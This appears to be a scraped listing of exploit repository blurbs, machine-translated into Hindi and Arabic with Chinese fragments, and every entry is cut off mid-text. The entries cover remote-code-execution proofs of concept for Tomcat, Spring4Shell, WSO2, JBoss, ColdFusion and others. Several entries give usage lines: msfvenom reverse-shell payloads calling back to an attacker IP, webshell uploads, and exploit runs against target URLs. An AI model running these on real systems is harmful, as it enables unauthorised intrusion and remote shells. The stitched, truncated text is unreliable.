jboss-autopwn-1

jboss-autopwn JBoss Autopwn जैसा कि BlackHat Europe 2010 में प्रस्तुत किया गया था - यह संस्करण CVE-2010-0738 को शामिल करता है, जो JBoss प्रमाणीकरण बायपास VERB हेरफेर भेद्यता है, जिसे Minded Security द्वारा खोजा गया था। C. Papathanasiou 2010 परिचय यह JBoss स्क्रिप्ट लक्ष्य JBoss AS सर्वर पर एक JSP...

CVE-2019-2618-

أداة كشف الثغرة CVE-2019-2618 أدخل عنوان URL للخادم واسم المستخدم وكلمة المرور بالترتيب حسب التوجيهات مثال: python3 CVE-2019-2618test.py http://127.0.0.1 root root123 سيعيد الكود محتوى الاستجابة الرئيسي، ويمكنك التحقق مما إذا كان الرفع ناجحاً بناءً على عنوان URL المقدم في محتوى الاستجابة. اسم الم...

Spring4Shell

Spring RCE CVE-2022-22965 भेद्यता वातावरण पर्यावरण जानकारी springboot jdk11 tomcat9.0.30 payload अनुरोध हेडर कॉन्फ़िगरेशन root@kitploit: "suffix": "%//", "c1": "Runtime", "c2": "%", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", अनुरोध बॉडी डेटा root@kitploit:...

CVE-2024-50379-POC

استغلال CVE-2024-50379 وإثبات المفهوم POC يحتوي هذا المستودع على إثبات مفهوم POC لـ CVE-2024-50379 ، وهي ثغرة تؤثر على Apache Tomcat. تتعلق المشكلة بـ حالة سباق Time-of-Check Time-of-Use TOCTOU ، والتي يمكن أن تؤدي إلى تنفيذ تعليمات برمجية عن بُعد RCE ، خاصة على أنظمة الملفات غير الحساسة لحالة...

CVE-2024-53677-S2-067-thread

अस्वीकरण कृपया लेख में दी गई संबंधित तकनीकों का उपयोग अवैध परीक्षण के लिए न करें। इस लेख में दी गई सूचना या उपकरणों के प्रसार या उपयोग से उत्पन्न होने वाले किसी भी प्रत्यक्ष या अप्रत्यक्ष परिणामों और हानियों के लिए उपयोगकर्ता स्वयं जिम्मेदार है, और उत्पन्न होने वाले सभी प्रतिकूल परिणामों के लिए...

CVE-2024-50379

CVE-2024-50379 प्रूफ ऑफ कॉन्सेप्ट PoC इस रिपॉजिटरी में Apache Tomcat में एक भेद्यता CVE-2024-50379 का शोषण करने के लिए एक प्रूफ ऑफ कॉन्सेप्ट PoC स्क्रिप्ट है। यह भेद्यता एक टाइम-ऑफ-चेक टाइम-ऑफ-यूज़ TOCTOU रेस कंडीशन है जो सर्वर के कॉन्फ़िगरेशन में लिखने योग्य निर्देशिकाओं की अनुमति होने पर रिमोट...

rwsploit

Oracle Reports rwservlet स्कैनर ⚠️ केवल अधिकृत उपयोग के लिए। इस टूल को केवल उन सिस्टमों पर चलाएँ जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। अनधिकृत उपयोग अवैध है। Oracle Reports Server rwservlet के लिए एक केंद्रित शोषण स्कैनर जो CVE-2012-3152 और CVE-2012-3153 को...

CVE-2021-26828_ScadaBR_RCE

POC CVE-2021-26828ScadaBRRemoteCodeExecution लिनक्स पर ScadaBR 0.9.1 और विंडोज पर 1.0 और 1.12.4CE तक के संस्करण, प्रमाणित रिमोट उपयोगकर्ताओं को 'viewedit.shtm' के माध्यम से मनमानी JSP फाइलें अपलोड और निष्पादित करने की अनुमति देते हैं, जिससे रिमोट कोड निष्पादन संभव होता है। एक्सप्लॉइट उपयोग कमांड्...

wso2-rce-cve-2022-29464

CVE-2022-29464 WSO2 RCE CVE-2022-29464 एक्सप्लॉइट। विवरण CVE-2022-29464 WSO2 पर एक गंभीर भेद्यता है जिसे Orange Tsai ने खोजा है। यह भेद्यता एक अनप्रमाणित अप्रतिबंधित मनमाना फ़ाइल अपलोड है, जो अनप्रमाणित हमलावरों को दुर्भावनापूर्ण JSP फ़ाइलें अपलोड करके WSO2 सर्वर पर RCE प्राप्त करने की अनुमति देत...

spring4shell-CVE-2022-22965

सरल Spring4Shell POC जांचें कि एंडपॉइंट असुरक्षित है या नहीं python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check असुरक्षित एंडपॉइंट का शोषण करें python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit अपलोड किए गए वेबशेल पर...

CVE-2009-2265

الإصدار: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp مثال :...

CVE-2017-12615-PoC

CVE 2017-12615 Apache Tomcat Windows RCE ⚠️चेतावनी यह ज्ञात CVEs के लिए एक प्रूफ ऑफ कॉन्सेप्ट वातावरण और एक्सप्लॉइट है, जो केवल सीखने और शैक्षिक उद्देश्यों के लिए है। इन स्क्रिप्ट्स या तकनीकों का उपयोग उन सिस्टमों पर न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं...

spring4shell-poc

Spring4Shell POC भेद्यता का विवरण: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html POC का निर्माण: https://github.com/BobTheShoplifter/Spring4Shell-POC निर्माण/चलाने के चरण JDK 11.0.14, Spring Boot 2.6.5, और Apache Tomcat 9.0.60 के साथ परीक्षण किया गया एप्लिकेशन बनाने...

CVE-2025-24813

CVE-2025-24813 - Apache Tomcat पथ समतुल्यता भेद्यता Apache Tomcat, पथों में ../ अनुक्रमों के अनुचित हैंडलिंग के कारण पथ समतुल्यता / पथ भ्रमण समस्या के लिए संवेदनशील है। CVE आईडी: CVE-2025-24813 गंभीरता: गंभीर संदर्भ लिंक: https://github.com/advisories/GHSA-83qj-6fr2-vhqg PoC चरण: 1. PUT विधि के...

CVE-2022-29464

WSO2 मनमाना फ़ाइल अपलोड से रिमोट कमांड निष्पादन RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 उदाहरण root@kitploit: python3 exploit.py https://target.org:9443 shell.jsp...

CVE-2022-29464

CVE-2022-29464 استغلال وشرح لـ WSO2 RCE CVE-2022-29464. التفاصيل CVE-2022-29464 هي ثغرة خطيرة في WSO2 اكتشفها Orange Tsai. الثغرة هي رفع ملف غير مقيد بدون مصادقة مما يسمح للمهاجمين غير الموثوقين بالحصول على RCE على خوادم WSO2 عبر رفع ملفات JSP ضارة. المسار المعرض للخطر هو /fileupload الذي يتم...

CVE-2022-22965

Spring Boot CVE-2022-22965 CVE-2022-22965 के लिए Spring Boot संस्करण 2.6.5 के साथ Docker PoC 🚀 आरंभ करना 1. वितरण कोड को https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip से डाउनलोड करें और इसे अनज़िप करें। 2. कमजोर एप्लिकेशन को बिल्ड और प्रारंभ करने के लिए docker compo...

cve-2019-0227

cve-2019-0227 Apache Axis1.4 दूरस्थ कोड निष्पादन भेद्यता अपनी स्थानीय मशीन पर msf में लिसनर सेट करने की आवश्यकता है, साथ ही कोड की पंक्तियाँ 24-30 को संशोधित करने की आवश्यकता है। ＃您需要更改这些变量以匹配您的配置 myip = “ 192.168.0.117 ” ＃आपकी मशीन का IP target = “ 192.168.0.102 ” ＃लक्ष्य IP 网关= “ 192.168.0.1 ”...

CVE-2025-34040Exp

致远OA में फ़ाइल अपलोड के कारण RCE CVE-2025-34040 पैरामीटर root@kitploit: options: -h, --help show this help message and exit -u URL, --url URL 请输入待检测的URL -f FILE, --file FILE 请输入一行一个URL的文件地址 -n FILENAME, --filename FILENAME 请输入文件名（默认为Hello.jsp）： -c CONTENT, --content CONTENT...

Fast-CVE-2022-22965

लक्ष्य मशीन root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest रिवर्स शेल वास्तव में msfvenom का अनुसरण करता है root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp jsp को URL एन्कोड करने के बाद, उपयोग करें root@kitploit:...